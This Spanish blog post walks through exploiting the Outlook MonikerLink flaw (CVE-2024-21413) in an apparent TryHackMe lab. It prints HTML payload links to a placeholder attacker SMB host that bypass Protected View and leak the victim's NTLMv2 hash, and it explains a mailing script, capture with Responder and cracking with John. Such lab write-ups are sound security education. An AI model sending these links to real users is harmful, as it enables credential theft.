Explotación de la vulnerabilidad de Outlook (CVE-2024-21413): Explicación y PoC

    Recientemente, se ha descubierto una vulnerabilidad crítica en Microsoft Outlook, catalogada bajo el código CVE-2024-21413 denominado error MonikerLink. Esta vulnerabilidad permite a un atacante ejecutar código de manera remota (RCE) al abrir un correo electrónico con enlaces maliciosos, afectando a varias versiones de Microsoft Outlook.

    El problema está en que, al hacer clic en uno de estos enlaces manipulados, el dispositivo del usuario se conecta a otro sistema, controlado por un atacante con malas intenciones. Lo que provoca el robo de credenciales NTLM.


    Outlook puede analizar hipervínculos como HTTP y HTTPS. Sin embargo, también puede abrir URL que especifiquen aplicaciones conocidas. Normalmente, Outlook generará una advertencia de seguridad cuando sea externo:

    
    Esta ventana emergente es el resultado de la "Vista protegida de Outlook". Protected View abre correos electrónicos que contienen archivos adjuntos, hipervínculos y contenido similar en modo de solo lectura, bloqueando cosas como macros.

    El fallo encontrado en Microsoft Outlook corresponde a la operación donde el software gestiona la ejecución de hipervínculos dentro de los correos electrónicos. Los investigadores descubrieron que ciertos enlaces, que utilizan el modo «file://», podrían alterarse para incluir una dirección específica. Al usar el «file://» Moniker Link en nuestro hipervínculo, podemos indicar un Outlook que intenta acceder a un archivo, como un archivo compartido en red. Se utiliza el protocolo SMB, que implica el uso de credenciales locales para autenticación. Sin embargo, la "Vista protegida" de Outlook capta y bloquea este intento.

<p><a href="file://ATTACKER_MACHINE/test">Haz click aquí</a></p>

    La vulnerabilidad aquí existe modificando nuestro hipervínculo para incluir la ! carácter especial y algún texto en nuestro Moniker Link que resulta en eludir la Vista protegida de Outlook. Por ejemplo:

<p><a href="file://ATTACKER_MACHINE/test!exploit">Haz click</a></p>


    Nosotros, como atacantes, podemos proporcionar un Moniker Link  para el ataque. Teniendo en cuenta que la acción no necesita existir en el dispositivo remoto, ya que se intentará un intento de autenticación independientemente, lo que llevará al envío del hash NTLMv2 de Windows de la víctima al atacante.

    La ejecución remota de código (RCE) es posible porque Moniker Links usa el modelo de objeto componente (COM) en Windows. 

PoC

    Para este ataque utilizaremos el laboratorio de Try Hack Me, enviaremos a nuestra víctima por correo electrónico un Moniker Link similar al proporcionado anteriormente . El objetivo, como atacante, es crear un correo electrónico para la víctima con un enlace Moniker que pase por alto la "Vista protegida" de Outlook, donde el cliente de la víctima intentará cargar un archivo desde nuestra máquina atacante, lo que resultará en la captura del hash NTLMv2 de la víctima. .


    Utilizaremos el siguiente script

    Tendremos que indicar nuestra ip atacante primeramente y el servidor al cual va a ser enviado el mensaje

    Este código es un script en Python que se utiliza para enviar un correo electrónico que contiene un enlace malicioso. Explicación del codgio:

    • 1. `import smtplib`: Importa el módulo `smtplib`, que proporciona las herramientas para enviar correos electrónicos utilizando el protocolo SMTP.

     • 2. `from email.mime.text import MIMEText`: Importa la clase `MIMEText` del módulo `email.mime.text`. Esta clase se utiliza para crear un objeto MIME que representa el contenido del correo electrónico en formato de texto.

     • 3. `from email.mime.multipart import MIMEMultipart`: Importa la clase `MIMEMultipart` del módulo `email.mime.multipart`. Esta clase se utiliza para crear un objeto MIME que puede contener partes múltiples, como texto y archivos adjuntos.

     • 4. `from email.utils import formataddr`: Importa la función `formataddr` del módulo `email.utils`, que se utiliza para formatear direcciones de correo electrónico.

     • 5. Se definen algunas variables:
   - `sender_email`: Dirección de correo electrónico del remitente.
   - `receiver_email`: Dirección de correo electrónico del destinatario.
   - `password`: Contraseña del correo electrónico del remitente. Esta se solicitará al usuario cuando se ejecute el script.
   - `html_content`: Contenido HTML del correo electrónico. Contiene un enlace que apunta a un archivo malicioso `test!exploit` en la máquina del atacante.

     • 6. Se crea un objeto `MIMEMultipart` llamado `message`. Se establece el asunto del correo electrónico y se configuran los campos "From" y "To" utilizando la función `formataddr` para formatear la dirección del remitente.

     • 7. Se crea un objeto `MIMEText` llamado `msgHtml` que contiene el contenido HTML del correo electrónico.

     • 8. El objeto `msgHtml` se adjunta al objeto `message` utilizando el método `attach`.

     • 9. Se crea una conexión SMTP con el servidor de correo saliente (`MAILSERVER` en el código) en el puerto 25.

     • 10. Se intenta iniciar sesión en el servidor SMTP utilizando la dirección de correo electrónico del remitente (`sender_email`) y la contraseña proporcionada por el usuario.

     • 11. Se envía el correo electrónico utilizando el método `sendmail` del objeto `server`, pasando la dirección del remitente, la lista de direcciones de destinatarios y el mensaje convertido a una cadena de texto.

     • 12. Si se produce algún error durante el envío del correo electrónico, se imprimirá un mensaje de error. En cualquier caso, se llama al método `quit` para cerrar la conexión SMTP.


    Usamos Responder para crear un oyente SMB en nuestra máquina atacante. Para nuestra máquina será la interfaz será -I tun0 puesto que estamos conectados mediante una vpn a la maquina THM. 


    Si lanzamos el exploit nos va a indicar que esta enviado, en esta caso nos pedirá una contraseña("attacker") del correo atacante


    En la bandeja de entrada del correo victima llegara un nuevo mensaje 



    Y vemos que como explicamos anteriormente que  «file://» a sido alterado para incluir una dirección IP. Al usar el «file://»  en nuestro hipervínculo, podemos indicar a Outlook que intenta acceder a un archivo, como un archivo en una red compartida, por lo que se utiliza el protocolo SMB, que implica el uso de credenciales locales para autenticación.

    Volviendo a nuestra Servidor SMB vemos que efectivamente hemos obtenido el hash NTLMv2


    Si lo pasamos por John obtendriamos la contraseña 


    Además, la solicitud SMB de la víctima al se puede ver con Wireshark




Os dejo un video realizando una prueba de concepto en el canal de YouTube




Además os dejo también la prueba de concepto del compañero CondorHacks



No hay comentarios:

Publicar un comentario